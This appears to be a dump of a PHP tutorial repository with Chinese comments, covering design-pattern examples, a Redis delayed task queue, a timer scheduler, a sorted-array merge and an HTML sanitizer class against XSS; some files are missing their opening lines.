24 | $this->color = $color; 25 | } 26 | 27 | public function echoInfo(){ 28 | printf("%s,%s,%s",$this->font,$this->size,$this->color); 29 | } 30 | 31 | public function copy() { 32 | return clone $this; 33 | } 34 | } 35 | 36 | 37 | $md = new text('微软雅黑','12px','黑色'); 38 | $md->echoInfo(); 39 | 40 | $md2 = $md->copy(); 41 | echo $md2->font; 42 | $md2->echoInfo(); -------------------------------------------------------------------------------- /proxy.php: -------------------------------------------------------------------------------- 1 | printer = $printer; 24 | } 25 | 26 | public function sellPaper() { 27 | //卖纸 28 | echo 'give you some paper '; 29 | } 30 | 31 | public function __call($method, $args) { 32 | //将代理对象有的功能交给代理对象处理 33 | if (method_exists($this->printer, $method)) { 34 | $this->printer->$method($args); 35 | } 36 | } 37 | } 38 | 39 | class PhotoShop { 40 | //这是一个照相店,只文印,拍照,不卖纸 41 | private $printer; 42 | 43 | public function __construct(Printer $printer) { 44 | $this->printer = $printer; 45 | } 46 | 47 | public function takePhotos() { //照相 48 | echo 'take photos for you '; 49 | } 50 | 51 | public function __call($method, $args) { 52 | //将代理对象有的功能交给代理对象处理 53 | if (method_exists($this->printer, $method)) { 54 | $this->printer->$method($args); 55 | } 56 | } 57 | } 58 | 59 | $printer = new Printer(); 60 | $textShop = new TextShop($printer); 61 | $photoShop = new PhotoShop($printer); 62 | 63 | $textShop->printSth('textShop'); 64 | $photoShop->printSth('photoShop'); -------------------------------------------------------------------------------- /register.php: -------------------------------------------------------------------------------- 1 | id = $id; 21 | } 22 | 23 | public function getId() { 24 | return $this->id; 25 | } 26 | 27 | public function setAuthor($author) { 28 | $this->author = $author; 29 | } 30 | 31 | public function getAuthor() { 32 | return $this->author; 33 | } 34 | 35 | public function setCreated($created) { 36 | $this->created = $created; 37 | } 38 | 39 | public function getCreated() { 40 | return $this->created; 41 | } 42 | 43 | public function setText($text) { 44 | $this->text = $text; 45 | } 46 | 47 | public function getText() { 48 | return $this->text; 49 | } 50 | 51 | public function setTitle($title) { 52 | $this->title = $title; 53 | } 54 | 55 | public function getTitle() { 56 | return $this->title; 57 | } 58 | } 59 | 60 | 61 | class PostRepository { 62 | private $persistence; 63 | 64 | public function __construct(Storage $persistence) { 65 | $this->persistence = $persistence; 66 | } 67 | 68 | /** 69 | * 通过指定id返回Post对象 70 | * @param int $id 71 | * @return Post|null 72 | */ 73 | public function getById($id) { 74 | $arrayData = $this->persistence->retrieve($id); 75 | if (is_null($arrayData)) { 76 | return null; 77 | } 78 | 79 | $post = new Post(); 80 | $post->setId($arrayData['id']); 81 | $post->setAuthor($arrayData['author']); 82 | $post->setCreated($arrayData['created']); 83 | $post->setText($arrayData['text']); 84 | $post->setTitle($arrayData['title']); 85 | 86 | return $post; 87 | } 88 | 89 | /** 90 | * 保存指定对象并返回 91 | * @param Post $post 92 | * @return Post 93 | */ 94 | public function save(Post $post) { 95 | $id = $this->persistence->persist(array( 96 | 'author' => $post->getAuthor(), 97 | 'created' => $post->getCreated(), 98 | 'text' => $post->getText(), 99 | 'title' => $post->getTitle() 100 | )); 101 | $post->setId($id); 102 | return $post; 103 | } 104 | 105 | /** 106 | * 删除指定的 Post 对象 107 | * @param Post $post 108 | * @return bool 109 | */ 110 | public function delete(Post $post) { 111 | return $this->persistence->delete($post->getId()); 112 | } 113 | } 114 | 115 | interface Storage { 116 | /** 117 | * 持久化数据方法 118 | * 返回新创建的对象ID 119 | * @param array() $data 120 | * @return int 121 | */ 122 | public function persist($data); 123 | 124 | /** 125 | * 通过指定id返回数据 126 | * 如果为空返回null 127 | * @param int $id 128 | * @return array|null 129 | */ 130 | public function retrieve($id); 131 | 132 | /** 133 | * 通过指定id删除数据 134 | * 如果数据不存在返回false,否则如果删除成功返回true 135 | * @param int $id 136 | * @return bool 137 | */ 138 | public function delete($id); 139 | } 140 | 141 | class MemoryStorage implements Storage { 142 | 143 | private $data; 144 | private $lastId; 145 | 146 | public function __construct() { 147 | $this->data = array(); 148 | $this->lastId = 0; 149 | } 150 | 151 | public function persist($data) { 152 | $this->data[++$this->lastId] = $data; 153 | $this->data[$this->lastId]['id'] = $this->lastId; 154 | return $this->lastId; 155 | } 156 | 157 | public function retrieve($id) { 158 | return isset($this->data[$id]) ? $this->data[$id] : null; 159 | } 160 | 161 | public function delete($id) { 162 | if (!isset($this->data[$id])) { 163 | return false; 164 | } 165 | $this->data[$id] = null; 166 | unset($this->data[$id]); 167 | return true; 168 | } 169 | } 170 | 171 | $obj = new PostRepository(new MemoryStorage()); 172 | $post = new Post(); 173 | $post->setAuthor('lock'); 174 | $post->setCreated('create'); 175 | $post->setTitle('Lock Test'); 176 | $post->setText('Lock Test Text Area'); 177 | $obj->save($post); 178 | 179 | var_export($obj->getById(1)); 180 | -------------------------------------------------------------------------------- /servicelocator.php: -------------------------------------------------------------------------------- 1 | _services[$id]) || isset($this->_definitions[$id]); 42 | } 43 | 44 | public function __get($id) { 45 | if ($this->has($this->id)) { 46 | $this->get($id); 47 | } 48 | 49 | // another implement 50 | } 51 | 52 | public function get($id) { 53 | if (isset($this->_services[$id]) && $this->_shared[$id]) { 54 | return $this->_services[$id]; 55 | } 56 | 57 | if (isset($this->_definitions[$id])) { 58 | // 实例化 59 | $definition = $this->_definitions[$id]; 60 | $object = Creator::createObject($definition);//省略服务实例化实现 61 | if ($this->_shared[$id]) { 62 | $this->_services[$id] = $object; 63 | } 64 | 65 | return $object; 66 | } 67 | 68 | throw new Exception("无法定位服务{$id}"); 69 | } 70 | 71 | public function set($id, $definition, $share = false) { 72 | if ($definition === null) { 73 | unset($this->_services[$id], $this->_definitions[$id]); 74 | return; 75 | } 76 | 77 | unset($this->_services[$id]); 78 | $this->_shared[$id] = $share; 79 | if (is_string($definition)) { 80 | return $this->_definitions[$id] = $definition; 81 | } 82 | if (is_object($definition) || is_callable($definition, true)) { 83 | return $this->_definitions[$id] = $definition; 84 | } 85 | 86 | if (is_array($definition)) { 87 | if (isset($definition['class'])) { 88 | return $this->_definitions[$id] = $definition; 89 | } 90 | } 91 | 92 | throw new Exception("服务添加失败"); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /sharePool.php: -------------------------------------------------------------------------------- 1 | state = $state; 17 | } 18 | function show(){ 19 | return $this->state; 20 | } 21 | } 22 | //不共享的具体享元角色,客户端直接调用 23 | class UnsharedConcreteFlyweight implements Flyweight{ 24 | private $state; 25 | function __construct($state){ 26 | $this->state = $state; 27 | } 28 | function show(){ 29 | return $this->state; 30 | } 31 | } 32 | //享元工厂模式 33 | class FlyweightFactory{ 34 | private $flyweights = array(); 35 | function getFlyweight($state){ 36 | if(!isset($this->flyweights[$state])){ 37 | $this->flyweights[$state]=new ConcreteFlyweight($state); 38 | } 39 | return $this->flyweights[$state]; 40 | } 41 | } 42 | 43 | //测试 44 | $flyweightFactory = new FlyweightFactory(); 45 | $flyweightOne = $flyweightFactory->getFlyweight("state A"); 46 | echo $flyweightOne->show(); 47 | $flyweightTwo = new UnsharedConcreteFlyweight("state B"); 48 | echo $flyweightTwo->show(); 49 | /* 50 | state A 51 | state B 52 | */ -------------------------------------------------------------------------------- /simpleFactory.php: -------------------------------------------------------------------------------- 1 | typeList = array( 16 | 'mysql'=>'mysql', 17 | 'oracle'=>'oracle' 18 | ); 19 | } 20 | 21 | public function getDb($type){ 22 | if(!in_array($type,$this->typeList)){ 23 | exit('error'); 24 | } 25 | $className = $this->typeList[$type]; 26 | return new $className; 27 | } 28 | 29 | } 30 | 31 | /** 32 | * Interface connect 33 | */ 34 | interface connect{ 35 | public function connect_db(); 36 | } 37 | 38 | class mysql implements connect{ 39 | public function connect_db() { 40 | echo 'mysql connect to db server ...'; 41 | } 42 | } 43 | 44 | class oracle implements connect{ 45 | public function connect_db() { 46 | echo 'oracle connect to db server ...'; 47 | } 48 | } 49 | 50 | 51 | $dbObj = new dbFactory(); 52 | $mysql = $dbObj->getDb('mysql'); 53 | $mysql->connect_db(); -------------------------------------------------------------------------------- /singleInstance.php: -------------------------------------------------------------------------------- 1 | work(); -------------------------------------------------------------------------------- /specification.php: -------------------------------------------------------------------------------- 1 | price = $price; 60 | } 61 | 62 | public function getPrice() { 63 | return $this->price; 64 | } 65 | } 66 | 67 | /** 68 | * Class Plus 69 | */ 70 | class Plus extends AbstractSpecification { 71 | protected $left; 72 | protected $right; 73 | 74 | // 创建两个规格的和逻辑 75 | public function __construct( 76 | SpecificationInterface $left, 77 | SpecificationInterface $right 78 | ) { 79 | $this->left = $left; 80 | $this->right = $right; 81 | } 82 | 83 | // 检查规格的组合AND逻辑是否通过 84 | public function isSatisfiedBy(Item $item) { 85 | return $this->left->isSatisfiedBy($item) 86 | && $this->right->isSatisfiedBy($item); 87 | } 88 | } 89 | 90 | /** 91 | * Class Either 92 | */ 93 | class Either extends AbstractSpecification { 94 | protected $left; 95 | protected $right; 96 | 97 | // 创建一个封装了两个规格组合的新规格 98 | public function __construct( 99 | SpecificationInterface $left, 100 | SpecificationInterface $right 101 | ) { 102 | $this->left = $left; 103 | $this->right = $right; 104 | } 105 | 106 | // 逻辑或是否成立 107 | public function isSatisfiedBy(Item $item) { 108 | return $this->left->isSatisfiedBy($item) 109 | || $this->right->isSatisfiedBy($item); 110 | } 111 | } 112 | 113 | /** 114 | * Class Not 115 | */ 116 | class Not extends AbstractSpecification { 117 | protected $spec; 118 | 119 | // 创建一个新的规格封装了另外一个规格 120 | public function __construct(SpecificationInterface $spec) { 121 | $this->spec = $spec; 122 | } 123 | 124 | // 返回封装规格的取反结果 125 | public function isSatisfiedBy(Item $item) { 126 | return !$this->spec->isSatisfiedBy($item); 127 | } 128 | } 129 | 130 | /** 131 | * 价格规格 132 | * Class PriceSpecification 133 | */ 134 | class PriceSpecification extends AbstractSpecification { 135 | protected $maxPrice; 136 | protected $minPrice; 137 | 138 | // 设置可选的最高价 139 | public function setMaxPrice($maxPrice) { 140 | $this->maxPrice = $maxPrice; 141 | } 142 | 143 | 144 | // 设置可选的最低价 145 | public function setMinPrice($minPrice) { 146 | $this->minPrice = $minPrice; 147 | } 148 | 149 | // 检查价格是否在最大和最小之间 150 | public function isSatisfiedBy(Item $item) { 151 | if (!empty($this->maxPrice) && $item->getPrice() > $this->maxPrice) { 152 | return false; 153 | } 154 | if (!empty($this->minPrice) && $item->getPrice() < $this->minPrice) { 155 | return false; 156 | } 157 | 158 | return true; 159 | } 160 | } 161 | 162 | 163 | // 客户端调用示例 164 | 165 | //创建两个价格规格 166 | $spec1 = new PriceSpecification(); 167 | $spec2 = new PriceSpecification(); 168 | 169 | //进行或的条件组合 170 | $either = $spec1->either($spec2); //抽象规格类中定义了either方法,返回组合后的规格 171 | 172 | $price = 100; 173 | $item = new Item($price); 174 | echo $either->isSatisfiedBy($item); -------------------------------------------------------------------------------- /state.php: -------------------------------------------------------------------------------- 1 | current = new AmState(); 24 | } 25 | 26 | public function SetState(IState $s) { 27 | $this->current = $s; 28 | } 29 | 30 | public function WriteCode() { 31 | $this->current->WriteCode($this); 32 | } 33 | } 34 | 35 | //上午工作状态 36 | class AmState implements IState { 37 | public function WriteCode(Work $w) { 38 | if ($w->hour <= 12) { 39 | echo "当前时间:{$w->hour}点,上午工作;犯困,午休。" . PHP_EOL; 40 | } else { 41 | $w->SetState(new PmState()); 42 | $w->WriteCode(); 43 | } 44 | } 45 | } 46 | 47 | //下午工作状态 48 | class PmState implements IState { 49 | public function WriteCode(Work $w) { 50 | if ($w->hour <= 17) { 51 | echo "当前时间:{$w->hour}点,下午工作状态还不错,继续努力。" . PHP_EOL; 52 | } else { 53 | $w->SetState(new NightState()); 54 | $w->WriteCode(); 55 | } 56 | } 57 | } 58 | 59 | //晚上工作状态 60 | class NightState implements IState { 61 | 62 | public function WriteCode(Work $w) { 63 | if ($w->IsDone) { 64 | $w->SetState(new BreakState()); 65 | $w->WriteCode(); 66 | } else { 67 | if ($w->hour <= 21) { 68 | echo "当前时间:{$w->hour}点,加班哦,疲累至极。" . PHP_EOL; 69 | } else { 70 | $w->SetState(new SleepState()); 71 | $w->WriteCode(); 72 | } 73 | } 74 | } 75 | } 76 | 77 | //睡眠状态 78 | class SleepState implements IState { 79 | 80 | public function WriteCode(Work $w) { 81 | echo "当前时间:{$w->hour}点,不行了,睡着了。" . PHP_EOL; 82 | } 83 | } 84 | 85 | //休息状态 86 | class BreakState implements IState { 87 | 88 | public function WriteCode(Work $w) { 89 | echo "当前时间:{$w->hour}点,下班回家了。" . PHP_EOL; 90 | } 91 | } 92 | 93 | $emergWork = new Work(); 94 | $emergWork->hour = 9; 95 | $emergWork->WriteCode(); 96 | $emergWork->hour = 10; 97 | $emergWork->WriteCode(); 98 | $emergWork->hour = 13; 99 | $emergWork->WriteCode(); 100 | $emergWork->hour = 14; 101 | $emergWork->WriteCode(); 102 | $emergWork->hour = 17; 103 | $emergWork->WriteCode(); 104 | $emergWork->IsDone = false; 105 | $emergWork->hour = 19; 106 | $emergWork->WriteCode(); 107 | $emergWork->hour = 22; 108 | $emergWork->WriteCode(); -------------------------------------------------------------------------------- /staticFactory.php: -------------------------------------------------------------------------------- 1 | connect_db(); -------------------------------------------------------------------------------- /strategy.php: -------------------------------------------------------------------------------- 1 | _flyBehavior->fly(); 33 | } 34 | 35 | public function setFlyBehavior(FlyBehavior $behavior) { 36 | $this->_flyBehavior = $behavior; 37 | } 38 | } 39 | 40 | class RubberDuck extends Duck { 41 | } 42 | 43 | // Test Case 44 | $duck = new RubberDuck(); 45 | 46 | /* 想让鸭子用翅膀飞行 */ 47 | $duck->setFlyBehavior(new FlyWithWings()); 48 | $duck->performFly(); 49 | 50 | /* 想让鸭子不用翅膀飞行 */ 51 | $duck->setFlyBehavior(new FlyWithNo()); 52 | $duck->performFly(); 53 | -------------------------------------------------------------------------------- /template.php: -------------------------------------------------------------------------------- 1 | name = $name; 18 | } 19 | 20 | public function MakeFlow() { 21 | $this->MakeBattery(); 22 | $this->MakeCamera(); 23 | $this->MakeScreen(); 24 | echo $this->name . "手机生产完毕!" . PHP_EOL; 25 | } 26 | 27 | public abstract function MakeScreen(); 28 | 29 | public abstract function MakeBattery(); 30 | 31 | public abstract function MakeCamera(); 32 | } 33 | 34 | //小米手机 35 | class XiaoMi extends MakePhone { 36 | public function __construct($name = '小米') { 37 | parent::__construct($name); 38 | } 39 | 40 | public function MakeBattery() { 41 | echo "小米电池生产完毕!" . PHP_EOL; 42 | } 43 | 44 | public function MakeCamera() { 45 | echo "小米相机生产完毕!" . PHP_EOL; 46 | } 47 | 48 | public function MakeScreen() { 49 | echo "小米屏幕生产完毕!" . PHP_EOL; 50 | } 51 | } 52 | 53 | //魅族手机 54 | class FlyMe extends MakePhone { 55 | function __construct($name = '魅族') { 56 | parent::__construct($name); 57 | } 58 | 59 | public function MakeBattery() { 60 | echo "魅族电池生产完毕!" . PHP_EOL; 61 | } 62 | 63 | public function MakeCamera() { 64 | echo "魅族相机生产完毕!" . PHP_EOL; 65 | } 66 | 67 | public function MakeScreen() { 68 | echo "魅族屏幕生产完毕!" . PHP_EOL; 69 | } 70 | } 71 | 72 | $miui = new XiaoMi(); 73 | $flyMe = new FlyMe(); 74 | 75 | $miui->MakeFlow(); 76 | $flyMe->MakeFlow(); -------------------------------------------------------------------------------- /timeQueue.class.php: -------------------------------------------------------------------------------- 1 | connect('127.0.0.1', 6379); 22 | $this->redis = $conn; 23 | } 24 | 25 | /** 26 | * 添加一个任务:任务名,什么时候执行,参数array 27 | * @param $name 28 | * @param $args 29 | * @param $time 30 | */ 31 | public function add_task($name,$args,$time) { 32 | $this->key = $name; 33 | $saveData = array('name'=>$name,'args'=>$args); 34 | $members = json_encode($saveData); 35 | $this->redis->zAdd($this->key,time()+$time,$members); 36 | } 37 | 38 | /** 39 | * 监听某个任务:任务名,执行该任务的函数 40 | * @param $eventName 41 | * @param $func 42 | * @return bool 43 | */ 44 | public function listen_task($eventName, $func){ 45 | if(in_array($eventName,$this->task)){ 46 | return false; 47 | } 48 | $this->task[$eventName]=$func; 49 | } 50 | 51 | /** 52 | * 移除一个存在的任务 53 | * @param $eventName 54 | */ 55 | public function remove_task($eventName){ 56 | if(in_array($eventName,array_keys($this->task))){ 57 | unset($this->task[$eventName]); 58 | } 59 | } 60 | 61 | /** 62 | * 运行 63 | */ 64 | public function run(){ 65 | while (true) { 66 | $result = $this->redis->zRange($this->key, 0, 0, true); 67 | if (count($result) == 0){ 68 | usleep(500); 69 | continue; 70 | } 71 | $scoreArr = array_values($result); 72 | if($scoreArr[0]>time()){ 73 | usleep(500); 74 | continue; 75 | } 76 | $itemArr = array_keys($result); 77 | $v = $this->redis->zRem($this->key, $itemArr[0]); 78 | if($v==false){ 79 | continue; 80 | } 81 | $data = json_decode($itemArr[0],1); 82 | if(in_array($data['name'],array_keys($this->task))){ 83 | $this->task[$data['name']]($data['args']); 84 | } 85 | } 86 | } 87 | 88 | } 89 | 90 | $obj = new timeQueue(); 91 | //添加任务并制定多少秒之后执行 92 | $obj->add_task('test',[1,2],3); 93 | $obj->add_task('demo',[1,2],2); 94 | $obj->add_task('bug',[1,2],12); 95 | $obj->add_task('test',[3,4],1); 96 | $obj->add_task('test',[5,6],8); 97 | //回调函数 98 | $func = function ($args){ 99 | var_dump($args); 100 | }; 101 | //设置需要监听的任务 102 | $obj->listen_task('test',$func); 103 | $obj->listen_task('demo',$func); 104 | //移除一个已经注册了的任务 105 | $obj->remove_task('bug'); 106 | $obj->run(); 107 | 108 | -------------------------------------------------------------------------------- /timeTask.php: -------------------------------------------------------------------------------- 1 | event[$second][$task]['index'] = $index; 21 | $this->event[$second][$task]['args'] = $args; 22 | } 23 | 24 | //监听任务 25 | public function listen_task($eventName, $func){ 26 | if(in_array($eventName,$this->task)){ 27 | return false; 28 | } 29 | $this->task[$eventName]=$func; 30 | } 31 | 32 | //移除任务 33 | public function remove_task($eventName){ 34 | if(in_array($eventName, array_keys($this->task))){ 35 | unset($this->task[$eventName]); 36 | } 37 | } 38 | 39 | public function run(){ 40 | while (1) { 41 | for($second=0;$second<3600;$second++){ 42 | sleep(1); 43 | if(isset($this->event[$second]) && is_array($this->event[$second])){ 44 | foreach ($this->event[$second] as $func => $val_arr) { 45 | foreach ($val_arr as $key => $val) { 46 | if($key=='index' && $val<=0){ 47 | //执行task,如果task耗时,可以在推到另一个队列消耗 48 | if(in_array($func, array_keys($this->task))){ 49 | $this->task[$func]($this->event[$second][$func]['args']); 50 | unset($this->event[$second][$func]); 51 | } 52 | }else{ 53 | if(in_array($func, array_keys($this->task)) && isset($this->event[$second][$func])){ 54 | $this->event[$second][$func]['index'] = $this->event[$second][$func]['index']-1; 55 | } 56 | } 57 | } 58 | } 59 | } 60 | } 61 | } 62 | } 63 | 64 | } 65 | 66 | //参数分别为:所执行的task,参数,延迟的时间 67 | timeTask::instance()->add_event('lock',[1,2,1],1); 68 | timeTask::instance()->add_event('root',[8,9,1],1); 69 | timeTask::instance()->add_event('test',[3,4,3],3); 70 | timeTask::instance()->add_event('test',[7,8,10],10); 71 | //设置回调函数 72 | $func = function($args){ 73 | echo date('Y-m-d H:i:s').",当前正在执行第".$args[2]."s任务...\n"; 74 | var_export($args); 75 | echo "\n\n"; 76 | }; 77 | timeTask::instance()->listen_task('test',$func); 78 | timeTask::instance()->listen_task('lock',$func); 79 | timeTask::instance()->listen_task('root',$func); 80 | #移除一个已经注册的任务 81 | timeTask::instance()->remove_task('root'); 82 | 83 | timeTask::instance()->run(); 84 | 85 | 86 | // ➜ ~ php timeTask.php 87 | // 2017-03-24 09:19:02,当前正在执行第1s任务... 88 | // array ( 89 | // 0 => 1, 90 | // 1 => 2, 91 | // 2 => 1, 92 | // ) 93 | 94 | // 2017-03-24 09:19:04,当前正在执行第3s任务... 95 | // array ( 96 | // 0 => 3, 97 | // 1 => 4, 98 | // 2 => 3, 99 | // ) 100 | 101 | // 2017-03-24 09:19:11,当前正在执行第10s任务... 102 | // array ( 103 | // 0 => 7, 104 | // 1 => 8, 105 | // 2 => 10, 106 | // ) 107 | 108 | 109 | 110 | 111 | 112 | -------------------------------------------------------------------------------- /visitor.php: -------------------------------------------------------------------------------- 1 | visitEnerpriseCustomer($this); 41 | } 42 | } 43 | 44 | /** 45 | * 具体元素,个人客户 46 | * Class PersonalCustomer 47 | */ 48 | class PersonalCustomer extends Customer { 49 | /** 50 | * 接受访问者 51 | * 52 | * @param ServiceRequestVisitor $visitor 53 | */ 54 | public function accept(ServiceRequestVisitor $visitor) { 55 | $visitor->visitPersonalCustomer($this); 56 | } 57 | } 58 | 59 | /** 60 | *访问者接口 61 | */ 62 | interface Visitor { 63 | 64 | /** 65 | * 访问企业用户 66 | * 67 | * @param EnterpriseCustomer $ec 68 | * @return mixed 69 | */ 70 | public function visitEnerpriseCustomer(EnterpriseCustomer $ec); 71 | 72 | /** 73 | * 访问个人用户 74 | * 75 | * @param PersonalCustomer $pc 76 | * @return mixed 77 | */ 78 | public function visitPersonalCustomer(PersonalCustomer $pc); 79 | } 80 | 81 | /** 82 | * 具体的访问者 83 | * 对服务提出请求 84 | * Class ServiceRequestVisitor 85 | */ 86 | class ServiceRequestVisitor implements Visitor { 87 | //访问企业客户 88 | public function visitEnerpriseCustomer(EnterpriseCustomer $ec) { 89 | echo $ec->name . '企业提出服务请求。' . PHP_EOL; 90 | } 91 | 92 | //访问个人用户 93 | public function visitPersonalCustomer(PersonalCustomer $pc) { 94 | echo '客户' . $pc->name . '提出请求。' . PHP_EOL; 95 | } 96 | } 97 | 98 | /** 99 | *对象结构 100 | *存储要访问的对象 101 | */ 102 | class ObjectStructure { 103 | /** 104 | *存储客户对象 105 | * 106 | * @var array 107 | */ 108 | private $obj = array(); 109 | 110 | public function addElement($ele) { 111 | array_push($this->obj, $ele); 112 | } 113 | 114 | /** 115 | *处理请求 116 | * 117 | * @param $visitor Visitor 118 | */ 119 | public function handleRequest(Visitor $visitor) { 120 | //遍历对象结构中的元素,接受访问 121 | foreach ($this->obj as $ele) { 122 | $ele->accept($visitor); 123 | } 124 | } 125 | } 126 | 127 | //对象结构 128 | $os = new ObjectStructure(); 129 | 130 | //添加元素 131 | $ele1 = new EnterpriseCustomer(); 132 | $ele1->name = 'ABC集团'; 133 | $os->addElement($ele1); 134 | 135 | $ele2 = new EnterpriseCustomer(); 136 | $ele2->name = 'DEF集团'; 137 | $os->addElement($ele2); 138 | 139 | $ele3 = new PersonalCustomer(); 140 | $ele3->name = '张三'; 141 | $os->addElement($ele3); 142 | 143 | $serviceVisitor = new ServiceRequestVisitor(); 144 | $os->handleRequest($serviceVisitor); -------------------------------------------------------------------------------- /xsshtml.class.php: -------------------------------------------------------------------------------- 1 | '; 14 | # $xss = new XssHtml($html); 15 | # $html = $xss->getHtml(); 16 | # ?\> 17 | # 18 | # 需求: 19 | # PHP Version > 5.0 20 | # 浏览器版本:IE7+ 或其他浏览器,无法防御IE6及以下版本浏览器中的XSS 21 | # 更多使用选项见 http://phith0n.github.io/XssHtml 22 | 23 | class XssHtml { 24 | private $m_dom; 25 | private $m_xss; 26 | private $m_ok; 27 | private $m_AllowAttr = array('title', 'src', 'href', 'id', 'class', 'style', 'width', 'height', 'alt', 'target', 'align'); 28 | private $m_AllowTag = array('a', 'img', 'br', 'strong', 'b', 'code', 'pre', 'p', 'div', 'em', 'span', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'table', 'ul', 'ol', 'tr', 'th', 'td', 'hr', 'li', 'u'); 29 | 30 | /** 31 | * 构造函数 32 | * 33 | * @param string $html 待过滤的文本 34 | * @param string $charset 文本编码,默认utf-8 35 | * @param array $AllowTag 允许的标签,如果不清楚请保持默认,默认已涵盖大部分功能,不要增加危险标签 36 | */ 37 | public function __construct($html, $charset = 'utf-8', $AllowTag = array()){ 38 | $this->m_AllowTag = empty($AllowTag) ? $this->m_AllowTag : $AllowTag; 39 | $this->m_xss = strip_tags($html, '<' . implode('><', $this->m_AllowTag) . '>'); 40 | if (empty($this->m_xss)) { 41 | $this->m_ok = FALSE; 42 | return ; 43 | } 44 | $this->m_xss = "" . $this->m_xss; 45 | $this->m_dom = new DOMDocument(); 46 | $this->m_dom->strictErrorChecking = FALSE; 47 | $this->m_ok = @$this->m_dom->loadHTML($this->m_xss); 48 | } 49 | 50 | /** 51 | * 获得过滤后的内容 52 | */ 53 | public function getHtml() 54 | { 55 | if (!$this->m_ok) { 56 | return ''; 57 | } 58 | $nodeList = $this->m_dom->getElementsByTagName('*'); 59 | for ($i = 0; $i < $nodeList->length; $i++){ 60 | $node = $nodeList->item($i); 61 | if (in_array($node->nodeName, $this->m_AllowTag)) { 62 | if (method_exists($this, "__node_{$node->nodeName}")) { 63 | call_user_func(array($this, "__node_{$node->nodeName}"), $node); 64 | }else{ 65 | call_user_func(array($this, '__node_default'), $node); 66 | } 67 | } 68 | } 69 | return strip_tags($this->m_dom->saveHTML(), '<' . implode('><', $this->m_AllowTag) . '>'); 70 | } 71 | 72 | private function __true_url($url){ 73 | if (preg_match('#^https?://.+#is', $url)) { 74 | return $url; 75 | }else{ 76 | return 'http://' . $url; 77 | } 78 | } 79 | 80 | private function __get_style($node){ 81 | if ($node->attributes->getNamedItem('style')) { 82 | $style = $node->attributes->getNamedItem('style')->nodeValue; 83 | $style = str_replace('\\', ' ', $style); 84 | $style = str_replace(array('&#', '/*', '*/'), ' ', $style); 85 | $style = preg_replace('#e.*x.*p.*r.*e.*s.*s.*i.*o.*n#Uis', ' ', $style); 86 | return $style; 87 | }else{ 88 | return ''; 89 | } 90 | } 91 | 92 | private function __get_link($node, $att){ 93 | $link = $node->attributes->getNamedItem($att); 94 | if ($link) { 95 | return $this->__true_url($link->nodeValue); 96 | }else{ 97 | return ''; 98 | } 99 | } 100 | 101 | private function __setAttr($dom, $attr, $val){ 102 | if (!empty($val)) { 103 | $dom->setAttribute($attr, $val); 104 | } 105 | } 106 | 107 | private function __set_default_attr($node, $attr, $default = '') 108 | { 109 | $o = $node->attributes->getNamedItem($attr); 110 | if ($o) { 111 | $this->__setAttr($node, $attr, $o->nodeValue); 112 | }else{ 113 | $this->__setAttr($node, $attr, $default); 114 | } 115 | } 116 | 117 | private function __common_attr($node) 118 | { 119 | $list = array(); 120 | foreach ($node->attributes as $attr) { 121 | if (!in_array($attr->nodeName, 122 | $this->m_AllowAttr)) { 123 | $list[] = $attr->nodeName; 124 | } 125 | } 126 | foreach ($list as $attr) { 127 | $node->removeAttribute($attr); 128 | } 129 | $style = $this->__get_style($node); 130 | $this->__setAttr($node, 'style', $style); 131 | $this->__set_default_attr($node, 'title'); 132 | $this->__set_default_attr($node, 'id'); 133 | $this->__set_default_attr($node, 'class'); 134 | } 135 | 136 | private function __node_img($node){ 137 | $this->__common_attr($node); 138 | 139 | $this->__set_default_attr($node, 'src'); 140 | $this->__set_default_attr($node, 'width'); 141 | $this->__set_default_attr($node, 'height'); 142 | $this->__set_default_attr($node, 'alt'); 143 | $this->__set_default_attr($node, 'align'); 144 | 145 | } 146 | 147 | private function __node_a($node){ 148 | $this->__common_attr($node); 149 | $href = $this->__get_link($node, 'href'); 150 | 151 | $this->__setAttr($node, 'href', $href); 152 | $this->__set_default_attr($node, 'target', '_blank'); 153 | } 154 | 155 | private function __node_embed($node){ 156 | $this->__common_attr($node); 157 | $link = $this->__get_link($node, 'src'); 158 | 159 | $this->__setAttr($node, 'src', $link); 160 | $this->__setAttr($node, 'allowscriptaccess', 'never'); 161 | $this->__set_default_attr($node, 'width'); 162 | $this->__set_default_attr($node, 'height'); 163 | } 164 | 165 | private function __node_default($node){ 166 | $this->__common_attr($node); 167 | } 168 | } 169 | 170 | ?> 171 | -------------------------------------------------------------------------------- /yield_sort.php: -------------------------------------------------------------------------------- 1 | $value) { 13 | yield $value; 14 | } 15 | break; 16 | } 17 | if(count($b)==0){ 18 | foreach ($a as $key => $value) { 19 | yield $value; 20 | } 21 | break; 22 | } 23 | if($a[0]>$b[0]){ 24 | yield array_shift($b); 25 | }else{ 26 | yield array_shift($a); 27 | } 28 | } 29 | } 30 | 31 | $a=[1,3,5,7,9,18,19,20]; 32 | $b=[2,4,6,8,22]; 33 | foreach (sort_arr($a,$b) as $key => $value) { 34 | echo $value.'--->'; 35 | } --------------------------------------------------------------------------------